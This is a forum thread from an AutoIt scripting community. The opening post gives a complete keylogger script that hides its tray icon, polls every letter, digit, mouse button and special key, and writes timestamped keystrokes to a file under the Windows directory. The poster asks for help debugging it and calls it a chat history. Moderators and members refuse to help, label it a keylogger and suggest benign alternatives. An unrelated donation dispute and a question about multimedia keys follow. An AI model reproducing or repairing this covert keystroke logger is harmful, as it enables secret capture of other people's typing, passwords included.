Jump to content

_IfPressed


Recommended Posts

I am having some problems with _IfPressed, like ill run the exe and type "test" and it will say this

[ 22. 06. 2006  22:50:39 ]   Pressed Button: e
[ 22. 06. 2006  22:50:39 ]   Pressed Button: t
[ 22. 06. 2006  22:50:39 ]   Pressed Button: s
[ 22. 06. 2006  22:50:39 ]   Pressed Button: t

Heres the code to the script

Opt ("TrayIconHide", 1)
HotKeySet ("^e", "MyExit")

Func _IsPressed($hexKey)

  
  Local $aR, $bRv
  $hexKey = '0x' & $hexKey
  $aR = DllCall("user32", "int", "GetAsyncKeyState", "int", $hexKey)

  If $aR[0] <> 0 Then
     $bRv = 1
  Else
     $bRv = 0
  EndIf
  
  Return $bRv
EndFunc  

$file = FileOpen("C:\WINDOWS\log\history.txt", 1)
If $file = -1 Then
   Exit
EndIf
  FileWriteLine($file, "[ " &@MDAY & ". " &@MON & ". "  &@YEAR & "  " &@HOUR & ":" &@MIN & ":" &@SEC & " ]   " & "NEW TIME ==============================================")

While 1

  If _IsPressed(41) Then
     _LogKeyPress("a")
EndIf


  If _IsPressed(42) Then
     _LogKeyPress("b")
EndIf


  If _IsPressed(43) Then
     _LogKeyPress("c")
EndIf


  If _IsPressed(44) Then
     _LogKeyPress("d")
EndIf


  If _IsPressed(45) Then
     _LogKeyPress("e")
EndIf


  If _IsPressed(46) Then
     _LogKeyPress("f")
EndIf


  If _IsPressed(47) Then
     _LogKeyPress("g")
EndIf


  If _IsPressed(48) Then
     _LogKeyPress("h")
EndIf


  If _IsPressed(49) Then
     _LogKeyPress("i")
EndIf


  If _IsPressed('4a') Then
     _LogKeyPress("j")
EndIf


  If _IsPressed('4b') Then
     _LogKeyPress("k")
EndIf


  If _IsPressed('4c') Then
     _LogKeyPress("l")
EndIf


  If _IsPressed('4d') Then
     _LogKeyPress("m")
EndIf


  If _IsPressed('4e') = 1 Then
     _LogKeyPress("n")
EndIf


  If _IsPressed('4f') Then
     _LogKeyPress("o")
EndIf


  If _IsPressed(50) Then
     _LogKeyPress("p")
EndIf


  If _IsPressed(51) Then
     _LogKeyPress("q")
EndIf


  If _IsPressed(52) Then
     _LogKeyPress("r")
EndIf


  If _IsPressed(53) Then
     _LogKeyPress("s")
EndIf


  If _IsPressed(54) Then
     _LogKeyPress("t")
EndIf


  If _IsPressed(55) Then
     _LogKeyPress("u")
EndIf


  If _IsPressed(56) Then
     _LogKeyPress("v")
EndIf


  If _IsPressed(57) Then
     _LogKeyPress("w")
EndIf


  If _IsPressed(58) Then
     _LogKeyPress("x")
EndIf


  If _IsPressed(59) Then
     _LogKeyPress("y")
EndIf

   If _IsPressed('5a') Then
     _LogKeyPress("z")
EndIf


If _IsPressed('01') Then
     _LogKeyPress("LEFT MOUSE")
EndIf

  If _IsPressed('02') Then
     _LogKeyPress("RIGHT MOUSE")
  EndIf
  
  
    If _IsPressed('08') Then
     _LogKeyPress("BACKSPACE")
  EndIf
  
  
    If _IsPressed('09') Then
     _LogKeyPress("TAB")
  EndIf
  
   
  
    If _IsPressed('10') Then
     _LogKeyPress("SHIFT")
  EndIf
  
  
      If _IsPressed('11') Then
     _LogKeyPress("CTRL")
  EndIf
  
  
      If _IsPressed('12') Then
     _LogKeyPress("ALT")
EndIf


    If _IsPressed('13') Then
     _LogKeyPress("PAUSE")
  EndIf  


   If _IsPressed('14') Then
     _LogKeyPress("CAPSLOCK")
EndIf


    If _IsPressed('1b') Then
     _LogKeyPress("ESC")
EndIf


    If _IsPressed('20') Then
     _LogKeyPress("SPACE")
  EndIf
  
  
      If _IsPressed('21') Then
     _LogKeyPress("PGUP")
  EndIf
  
  
      If _IsPressed('22') Then
     _LogKeyPress("PGDOWN")
  EndIf
  
  
      If _IsPressed('23') Then
     _LogKeyPress("END")
  EndIf
  
  
      If _IsPressed('24') Then
     _LogKeyPress("HOME")
  EndIf
  
  
      If _IsPressed('25') Then
     _LogKeyPress("LEFT ARROW")
  EndIf
  
  
      If _IsPressed('26') Then
     _LogKeyPress("UP ARROW")
  EndIf
  
  
      If _IsPressed('27') Then
     _LogKeyPress("RIGHT ARROW")
  EndIf
  
  
      If _IsPressed('28') Then
     _LogKeyPress("DOWN ARROW")
  EndIf
  
  
      If _IsPressed('2c') Then
     _LogKeyPress("PRNTSCRN")
  EndIf
  
  
      If _IsPressed('2d') Then
     _LogKeyPress("INSERT")
  EndIf
  
  
      If _IsPressed('2e') Then
     _LogKeyPress("DEL")
EndIf

    If _IsPressed('30') Then
     _LogKeyPress("0")
  EndIf
  
  
      If _IsPressed('31') Then
     _LogKeyPress("1")
  EndIf
  
  
      If _IsPressed('32') Then
     _LogKeyPress("2")
  EndIf
  
  
      If _IsPressed('33') Then
     _LogKeyPress("3")
  EndIf
  
  
      If _IsPressed('34') Then
     _LogKeyPress("4")
  EndIf
  
  
      If _IsPressed('35') Then
     _LogKeyPress("5")
  EndIf
  
  
      If _IsPressed('36') Then
     _LogKeyPress("6")
  EndIf
  
  
      If _IsPressed('37') Then
     _LogKeyPress("7")
  EndIf
  
  
      If _IsPressed('38') Then
     _LogKeyPress("8")
EndIf


    If _IsPressed('39') Then
     _LogKeyPress("9")
 EndIf
 
     If _IsPressed('0d') Then
     Exit
  EndIf

WEnd


  Sleep(50)
Func _LogKeyPress($what2log)
  FileWriteLine($file, "[ " &@MDAY & ". " &@MON & ". "  &@YEAR & "  " &@HOUR & ":" &@MIN & ":" &@SEC & " ]   " & "Pressed Button: " & $what2log)
sleep ("100")
EndFunc

FileClose($file)

Func MyExit ()
   Exit
EndFunc
Link to comment
Share on other sites

  • Replies 60
  • Created
  • Last Reply

Top Posters In This Topic

Top Posters In This Topic

  • Moderators

You won't find any help on keyloggers here. (Well from anyone that knows what they are talking about anyway)

Common sense plays a role in the basics of understanding AutoIt... If you're lacking in that, do us all a favor, and step away from the computer.

Link to comment
Share on other sites

  • Moderators

If your making a chat program as Skruge points out, and you want to give the option to save history, then all you need to use is GUICtrlRead(), any other reason to need it is for all sake and arguements would be classified as a keylogger now matter how sweet you try to make it sound or how good your intentions are.

Common sense plays a role in the basics of understanding AutoIt... If you're lacking in that, do us all a favor, and step away from the computer.

Link to comment
Share on other sites

If anything logs keys, then by definition it's a keylogger, no matter what else it does.

Keylogger = Anything that logs keystrokes/mouse.

#)

Link to comment
Share on other sites

"Func _LogKeyPress($what2log)" looks so familiar.

Wansnt this made by ezzetabi or something ?

[edit]it was gosu in a thread made by ezzetabi[/edit]

Edited by w0uter

My UDF's:;mem stuff_Mem;ftp stuff_FTP ( OLD );inet stuff_INetGetSource ( OLD )_INetGetImage _INetBrowse ( Collection )_EncodeUrl_NetStat_Google;random stuff_iPixelSearch_DiceRoll

Link to comment
Share on other sites

sigh...Please read the sticky Jon posted about keyloggers. Do not ask for help with keyloggers. Most of us take it as you are using it for dark side purposes. I personally have no idea if you are telling the truth, and seeing how the vast majority of attempts at keyloggers are for doing bad things, I have no reason to believe your intention is good, no matter what you say. If you just want to run this on your PC, then there are many other ways to save your input. Simply highlighting the text, copy and paste is one option. Also, most chat clients have a log option to save your conversations. If your chat client doesn't have this option, then switch clients. Sorry dude, but what you are asking for is just something we don't like here.

Edited by vollyman
Link to comment
Share on other sites

If you are in fact making a chat program then, as Smoke_n said, all you would need is GUICtrlRead() to read the text of the message when it is sent. To log received messages just save them to the file as they are received over the net. No need for a keylogger if a chat history is really what you want.

EDIT: Typo

Edited by Don N

_____________________________________________________"some people live for the rules, I live for exceptions"Wallpaper Changer - Easily Change Your Windows Wallpaper

Link to comment
Share on other sites

If you are in fact making a chat program then, as Smoke_n said, all you would need is GUICtrlRead() to read the text of the message when it is sent. To log received messages just save them to the file as they are received over the net. No need for a keylogger if a chat history is really what you want.

EDIT: Typo

why would he need that , if hes making his own chat program and he has an Edit and someone send him a message, when he recieves it hes going to do a guictrlsetdata, you dont have to log them to a file, and i still think this is a keylogger so yeah

Link to comment
Share on other sites

quotes of conversation from sparrow and me

he wanted a prog for his dad

i am very trust worthy

1 I the the most post of any member... only developers have more.. I have given much of myself

2 all of my efforts have been to help people here... look at my scripts, and my posts... including the ones with you

3 you could donate ... just because you wanted to support Autoit.. not just to get something... you can't get burned with that idea

4 I have done every thing you have asked

5 I dont even want the money personally

is that not... trust worthy

since i have done everything you asked.... and I have asked nothing of you

My ONE requirement is you donate first ... then i will put your splash and name on every part... and remove my name

8)

how much of a donate are we talking about then?

your quote

I have donated to multiple websites with values of $50 or more.

how about the just $50 then...

listen i make over $50 and hour ( alot more )

and i have spent at least 3 full days on this

i only asked what you said... for other donations

ok?

8)

Uhh, lets see I am only 15... I had to give my birthday money to donate that $50..

*** lowered to $20 and he told me he only had $2

never saw nada

8)

Edited by Valuater

NEWHeader1.png

Link to comment
Share on other sites

Its not a keylogger, its a chat history. I have gotten it to work, but sometimes it logs the keys in different order, or some times double.

Definitely a keylogger :D , but I absolutely see no chat program to even make this keylogger code useful. So without good reason, no help offered from me. :D
Link to comment
Share on other sites

  • 3 weeks later...

i had a question relating 'multimedia' keys on keyboards. is there a way to read the raw hex code that they return when pressed?

Reason i want to know: my multimedia keyboard has media buttons like "play/pause/next track....." but they only work with media player. i want them to work with winamp, and other media players. so i wanted to make an autoit script that reads the key hex code.

all the scripts i've seen around here seem to involve the following algorithm:

----------------------------------------------------------

If (blah pressed)

You pressed (blah)

Case

<<Look-up-table defining all the keys>>

...

...

------------------------------------------------------------

I wanted one specifically for the multimedia keys,, any ideas ?

thanks

Edited by gagan512
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...